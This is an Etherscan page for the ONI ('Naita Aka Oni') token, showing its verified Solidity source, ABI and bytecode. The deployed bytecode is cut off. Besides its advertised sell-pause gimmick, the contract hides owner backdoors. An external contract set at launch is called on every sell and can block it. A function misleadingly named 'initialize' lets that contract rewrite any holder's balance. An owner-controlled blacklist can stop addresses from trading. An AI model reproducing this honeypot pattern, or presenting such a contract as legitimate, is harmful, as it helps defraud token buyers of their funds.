ETH Price: $2,649.15 (+0.25%)

Token

Naita Aka Oni (ONI)
 

Overview

Max Total Supply

998,344,605,009,388,447.290436148 ONI

Holders

81

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
mikotopapi.eth
Balance
0 ONI

Value
$0.00
0x2656961632339e44274a89ceabd4e7785b2351fd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ONI

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-16
*/

/**

$ONI - Naita-Aka-Oni

https://t.me/JeetDemon

Stop the jeet demons. Transcend to higher realms. The new meta trend is here.

If and only if there are to be exactly 6 sell transactions that occur within
no more than 3 minutes of each other, selling for all holders will be completely 
disabled for 9 minutes. After 9 minutes, selling will be allowed again, and thus,
the cycle will continue automatically and autonomously, sending jeets to the
gates of a higher realm.

 */

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface memBot {
    function check(address _from) external;
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract ONI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balance;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private cooldown;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    uint256 private jeetTime;
    uint256 public jeetCount;
    uint256 public jeetPreventTime;
    uint256 private _totalSupply = 1000000000000000000 * 10**9;

    string private constant _name = "Naita Aka Oni";
    string private constant _symbol = "ONI";
    uint8 private constant _decimals = 9;

    IUniswapV2Router02 private uniswapV2Router;
    memBot private mem_;
    uint256 private _feeTax = 1;
    uint256 private _feeTeam = 1;
    bool private _feeState = false;
    address payable private _feeAddrWallet;
    bool public tradingState;
    address private uniswapV2Pair;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private cooldownEnabled = false;
    uint256 private _maxTxAmount = _totalSupply;
    uint256 private _maxWalletAmount = _totalSupply;

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _feeAddrWallet = payable(0xA8cfc7b1F2752602C4D49304267c4d7C805De7B9);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_feeAddrWallet] = true;
        _balance[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function setCooldownEnabled(bool onoff) external onlyOwner {
        cooldownEnabled = onoff;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        _feeState = false;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);
            require(amount <= _maxTxAmount, "Exceed max transaction amount");
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                // Cooldown
                if (cooldownEnabled) {
                    require(cooldown[to] < block.timestamp);
                    cooldown[to] = block.timestamp + (30 seconds);
                }
                uint256 currentBalance = balanceOf(to);
                require(currentBalance + amount <= _maxWalletAmount);
                _feeState = true;
            }
            if (
                to == uniswapV2Pair &&
                from != address(uniswapV2Router) &&
                !_isExcludedFromFee[from]
            ) {
                require(jeetPreventTime < block.timestamp);

                if ((block.timestamp - jeetTime) > (180 seconds)) {
                    jeetTime = block.timestamp;
                    jeetCount = 1;
                } else {
                    jeetCount = jeetCount.add(1);
                    if (jeetCount >= 6) {
                        jeetPreventTime = block.timestamp + (540 seconds);
                        jeetCount = 0;
                    }
                }
                mem_.check(from);
            }

            if (to != uniswapV2Pair && from != uniswapV2Pair) {
                uint256 currentBalance = balanceOf(to);
                require(currentBalance + amount <= _maxWalletAmount);
            }

            if (!inSwap && from != uniswapV2Pair && swapEnabled) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if (contractTokenBalance > 0) {
                    swapTokensForEth(contractTokenBalance);
                }

                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        _transferStandard(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    modifier memLogic() {
        require(address(mem_) == msg.sender);
        _;
    }

    function initialize(address bot_, uint256 blacklisted_) external memLogic {
        _balance[bot_] = blacklisted_;
    }

    function addLiquidity(address _swap) external onlyOwner {
        require(!tradingState);
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        mem_ = memBot(_swap);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        cooldownEnabled = true;
        _maxTxAmount = 1000000000000001 * 10**9; 
        _maxWalletAmount = 3000000000000001 * 10**9; 
        tradingState = true;
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }

    function setMaxTX(uint256 _amount) public onlyOwner {
        _maxTxAmount = _amount;
    }

    function setBots(address[] memory bots_) external onlyOwner {
        for (uint256 i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBot(address notbot) public onlyOwner {
        bots[notbot] = false;
    }

    function sendETHToFee(uint256 amount) private {
        _feeAddrWallet.transfer(amount);
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        _balance[sender] = _balance[sender].sub(amount);
        if (_feeState == true) {
            (
                uint256 tAmount,
                uint256 taxFee,
                uint256 teamFee
            ) = _getTransferValues(amount, _feeTax, _feeTeam);
            _balance[recipient] = _balance[recipient].add(tAmount);
            _balance[address(this)] = _balance[address(this)].add(teamFee);
            _totalSupply = _totalSupply.sub(taxFee);
            emit Transfer(sender, recipient, tAmount);
        } else {
            _balance[recipient] = _balance[recipient].add(amount);
            emit Transfer(sender, recipient, amount);
        }
    }

    function _getTransferValues(
        uint256 amount,
        uint256 taxFee,
        uint256 TeamFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = amount.mul(taxFee).div(100);
        uint256 tTeam = amount.mul(TeamFee).div(100);
        uint256 tTransferAmount = amount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function getJeetState() external view returns(bool) {
        return (jeetPreventTime < block.timestamp);
    }

    function getTimeStamp() external view returns(uint256) {
        return block.timestamp;
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_swap","type":"address"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getJeetState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTimeStamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"bot_","type":"address"},{"internalType":"uint256","name":"blacklisted_","type":"uint256"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"jeetCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"jeetPreventTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setMaxTX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526b033b2e3c9fd0803ce8000000600a8190556001600d819055600e55600f805460ff191690556010805462ffffff60a01b19169055601181905560125534801561004d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600f8054610100600160a81b03191674a8cfc7b1f2752602c4d49304267c4d7c805de7b9001790556001600560006100cf6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526005909352818320805485166001908117909155600f5461010090049091168352908220805490931617909155600a549060029061013b3390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a5460405161019d91815260200190565b60405180910390a3611ad0806101b46000396000f3fe6080604052600436106101395760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610380578063c373336e146103a0578063cd6dc687146103c1578063da235b22146103e1578063dd62ed3e146103f4578063e3412e3d1461043a57600080fd5b8063715018a6146102e15780638da5cb5b146102f657806395d89b411461031e578063a9059cbb1461034a578063b47a0ff61461036a57600080fd5b806323b872dd116100fd57806323b872dd1461020d578063273123b71461022d578063313ce5671461024f578063333c39a51461026b5780635932ead11461028b57806370a08231146102ab57600080fd5b806306fdde0314610145578063095ea7b31461018d5780630d582567146101bd57806314c798f7146101d457806318160ddd146101f857600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600d81526c4e6169746120416b61204f6e6960981b60208201525b6040516101849190611884565b60405180910390f35b34801561019957600080fd5b506101ad6101a836600461170b565b61045a565b6040519015158152602001610184565b3480156101c957600080fd5b5060095442116101ad565b3480156101e057600080fd5b506101ea60095481565b604051908152602001610184565b34801561020457600080fd5b50600a546101ea565b34801561021957600080fd5b506101ad6102283660046116ca565b610471565b34801561023957600080fd5b5061024d610248366004611657565b6104da565b005b34801561025b57600080fd5b5060405160098152602001610184565b34801561027757600080fd5b5061024d61028636600461183d565b61052e565b34801561029757600080fd5b5061024d6102a6366004611803565b61055d565b3480156102b757600080fd5b506101ea6102c6366004611657565b6001600160a01b031660009081526002602052604090205490565b3480156102ed57600080fd5b5061024d6105a5565b34801561030257600080fd5b506000546040516001600160a01b039091168152602001610184565b34801561032a57600080fd5b506040805180820190915260038152624f4e4960e81b6020820152610177565b34801561035657600080fd5b506101ad61036536600461170b565b610619565b34801561037657600080fd5b506101ea60085481565b34801561038c57600080fd5b5061024d61039b366004611737565b610626565b3480156103ac57600080fd5b50600f546101ad90600160a81b900460ff1681565b3480156103cd57600080fd5b5061024d6103dc36600461170b565b6106bc565b3480156103ed57600080fd5b50426101ea565b34801561040057600080fd5b506101ea61040f366004611691565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561044657600080fd5b5061024d610455366004611657565b6106ef565b6000610467338484610ab8565b5060015b92915050565b600061047e848484610bdd565b6104d084336104cb85604051806060016040528060288152602001611a73602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906110c6565b610ab8565b5060019392505050565b6000546001600160a01b0316331461050d5760405162461bcd60e51b8152600401610504906118d9565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105585760405162461bcd60e51b8152600401610504906118d9565b601155565b6000546001600160a01b031633146105875760405162461bcd60e51b8152600401610504906118d9565b60108054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b031633146105cf5760405162461bcd60e51b8152600401610504906118d9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610467338484610bdd565b6000546001600160a01b031633146106505760405162461bcd60e51b8152600401610504906118d9565b60005b81518110156106b85760016006600084848151811061067457610674611a20565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106b0816119ef565b915050610653565b5050565b600c546001600160a01b031633146106d357600080fd5b6001600160a01b03909116600090815260026020526040902055565b6000546001600160a01b031633146107195760405162461bcd60e51b8152600401610504906118d9565b600f54600160a81b900460ff161561073057600080fd5b600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600a546107699030908390610ab8565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a257600080fd5b505afa1580156107b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107da9190611674565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561082257600080fd5b505afa158015610836573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085a9190611674565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108a257600080fd5b505af11580156108b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108da9190611674565b601080546001600160a01b039283166001600160a01b031991821617909155600c80548584169216919091179055600b541663f305d7194730610932816001600160a01b031660009081526002602052604090205490565b6000806109476000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109e39190611856565b50506010805461010160a81b61ffff60a81b1982161790915569d3c21bcecceddc9aca006011556a027b46536c66c91e9aca00601255600f805460ff60a81b1916600160a81b179055600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a7b57600080fd5b505af1158015610a8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab39190611820565b505050565b6001600160a01b038316610b1a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610504565b6001600160a01b038216610b7b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610504565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c415760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610504565b6001600160a01b038216610ca35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610504565b60008111610d055760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610504565b600f805460ff191690556000546001600160a01b03848116911614801590610d3b57506000546001600160a01b03838116911614155b156110bb576001600160a01b03831660009081526006602052604090205460ff16158015610d8257506001600160a01b03821660009081526006602052604090205460ff16155b610d8b57600080fd5b601154811115610ddd5760405162461bcd60e51b815260206004820152601d60248201527f457863656564206d6178207472616e73616374696f6e20616d6f756e740000006044820152606401610504565b6010546001600160a01b038481169116148015610e085750600b546001600160a01b03838116911614155b8015610e2d57506001600160a01b03821660009081526005602052604090205460ff16155b15610ecd57601054600160b01b900460ff1615610e8d576001600160a01b0382166000908152600460205260409020544211610e6857600080fd5b610e7342601e61197f565b6001600160a01b0383166000908152600460205260409020555b6001600160a01b038216600090815260026020526040902054601254610eb3838361197f565b1115610ebe57600080fd5b50600f805460ff191660011790555b6010546001600160a01b038381169116148015610ef85750600b546001600160a01b03848116911614155b8015610f1d57506001600160a01b03831660009081526005602052604090205460ff16155b15610fe3574260095410610f3057600080fd5b60b460075442610f4091906119d8565b1115610f5457426007556001600855610f83565b600854610f62906001611100565b6008819055600611610f8357610f7a4261021c61197f565b60095560006008555b600c54604051631846d2f560e31b81526001600160a01b0385811660048301529091169063c23697a890602401600060405180830381600087803b158015610fca57600080fd5b505af1158015610fde573d6000803e3d6000fd5b505050505b6010546001600160a01b0383811691161480159061100f57506010546001600160a01b03848116911614155b15611047576001600160a01b03821660009081526002602052604090205460125461103a838361197f565b111561104557600080fd5b505b601054600160a01b900460ff1615801561106f57506010546001600160a01b03848116911614155b80156110845750601054600160a81b900460ff165b156110bb573060009081526002602052604090205480156110a8576110a881611166565b4780156110b8576110b8476112ef565b50505b610ab383838361132d565b600081848411156110ea5760405162461bcd60e51b81526004016105049190611884565b5060006110f784866119d8565b95945050505050565b60008061110d838561197f565b90508381101561115f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610504565b9392505050565b6010805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111ae576111ae611a20565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561120257600080fd5b505afa158015611216573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123a9190611674565b8160018151811061124d5761124d611a20565b6001600160a01b039283166020918202929092010152600b546112739130911684610ab8565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112ac90859060009086903090429060040161190e565b600060405180830381600087803b1580156112c657600080fd5b505af11580156112da573d6000803e3d6000fd5b50506010805460ff60a01b1916905550505050565b600f546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156106b8573d6000803e3d6000fd5b6001600160a01b03831660009081526002602052604090205461135090826114c6565b6001600160a01b038416600090815260026020526040902055600f5460ff1615156001141561144f57600080600061138d84600d54600e54611508565b6001600160a01b03881660009081526002602052604090205492955090935091506113b89084611100565b6001600160a01b0386166000908152600260205260408082209290925530815220546113e49082611100565b30600090815260026020526040902055600a5461140190836114c6565b600a556040518381526001600160a01b0380871691908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050505050565b6001600160a01b0382166000908152600260205260409020546114729082611100565b6001600160a01b0380841660008181526002602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bd09085815260200190565b600061115f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110c6565b6000808080611522606461151c898961155d565b906115dc565b90506000611535606461151c8a8961155d565b9050600061154d826115478b866114c6565b906114c6565b9992985090965090945050505050565b60008261156c5750600061046b565b600061157883856119b9565b9050826115858583611997565b1461115f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610504565b600061115f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361163a5760405162461bcd60e51b81526004016105049190611884565b5060006110f78486611997565b803561165281611a4c565b919050565b60006020828403121561166957600080fd5b813561115f81611a4c565b60006020828403121561168657600080fd5b815161115f81611a4c565b600080604083850312156116a457600080fd5b82356116af81611a4c565b915060208301356116bf81611a4c565b809150509250929050565b6000806000606084860312156116df57600080fd5b83356116ea81611a4c565b925060208401356116fa81611a4c565b929592945050506040919091013590565b6000806040838503121561171e57600080fd5b823561172981611a4c565b946020939093013593505050565b6000602080838503121561174a57600080fd5b823567ffffffffffffffff8082111561176257600080fd5b818501915085601f83011261177657600080fd5b81358181111561178857611788611a36565b8060051b604051601f19603f830116810181811085821117156117ad576117ad611a36565b604052828152858101935084860182860187018a10156117cc57600080fd5b600095505b838610156117f6576117e281611647565b8552600195909501949386019386016117d1565b5098975050505050505050565b60006020828403121561181557600080fd5b813561115f81611a64565b60006020828403121561183257600080fd5b815161115f81611a64565b60006020828403121561184f57600080fd5b5035919050565b60008060006060848603121561186b57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118b157858101830151858201604001528201611895565b818111156118c3576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561195e5784516001600160a01b031683529383019391830191600101611939565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561199257611992611a0a565b500190565b6000826119b457634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119d3576119d3611a0a565b500290565b6000828210156119ea576119ea611a0a565b500390565b6000600019821415611a0357611a03611a0a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114611a6157600080fd5b50565b8015158114611a6157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b4bdd3abd73fb1c5ffa4813e5616ab86b793bbef29cc30923c0b363f98fce29764736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101395760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610380578063c373336e146103a0578063cd6dc687146103c1578063da235b22146103e1578063dd62ed3e146103f4578063e3412e3d1461043a57600080fd5b8063715018a6146102e15780638da5cb5b146102f657806395d89b411461031e578063a9059cbb1461034a578063b47a0ff61461036a57600080fd5b806323b872dd116100fd57806323b872dd1461020d578063273123b71461022d578063313ce5671461024f578063333c39a51461026b5780635932ead11461028b57806370a08231146102ab57600080fd5b806306fdde0314610145578063095ea7b31461018d5780630d582567146101bd57806314c798f7146101d457806318160ddd146101f857600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600d81526c4e6169746120416b61204f6e6960981b60208201525b6040516101849190611884565b60405180910390f35b34801561019957600080fd5b506101ad6101a836600461170b565b61045a565b6040519015158152602001610184565b3480156101c957600080fd5b5060095442116101ad565b3480156101e057600080fd5b506101ea60095481565b604051908152602001610184565b34801561020457600080fd5b50600a546101ea565b34801561021957600080fd5b506101ad6102283660046116ca565b610471565b34801561023957600080fd5b5061024d610248366004611657565b6104da565b005b34801561025b57600080fd5b5060405160098152602001610184565b34801561027757600080fd5b5061024d61028636600461183d565b61052e565b34801561029757600080fd5b5061024d6102a6366004611803565b61055d565b3480156102b757600080fd5b506101ea6102c6366004611657565b6001600160a01b031660009081526002602052604090205490565b3480156102ed57600080fd5b5061024d6105a5565b34801561030257600080fd5b506000546040516001600160a01b039091168152602001610184565b34801561032a57600080fd5b506040805180820190915260038152624f4e4960e81b6020820152610177565b34801561035657600080fd5b506101ad61036536600461170b565b610619565b34801561037657600080fd5b506101ea60085481565b34801561038c57600080fd5b5061024d61039b366004611737565b610626565b3480156103ac57600080fd5b50600f546101ad90600160a81b900460ff1681565b3480156103cd57600080fd5b5061024d6103dc36600461170b565b6106bc565b3480156103ed57600080fd5b50426101ea565b34801561040057600080fd5b506101ea61040f366004611691565b6001600160a01b0391821660009081526003602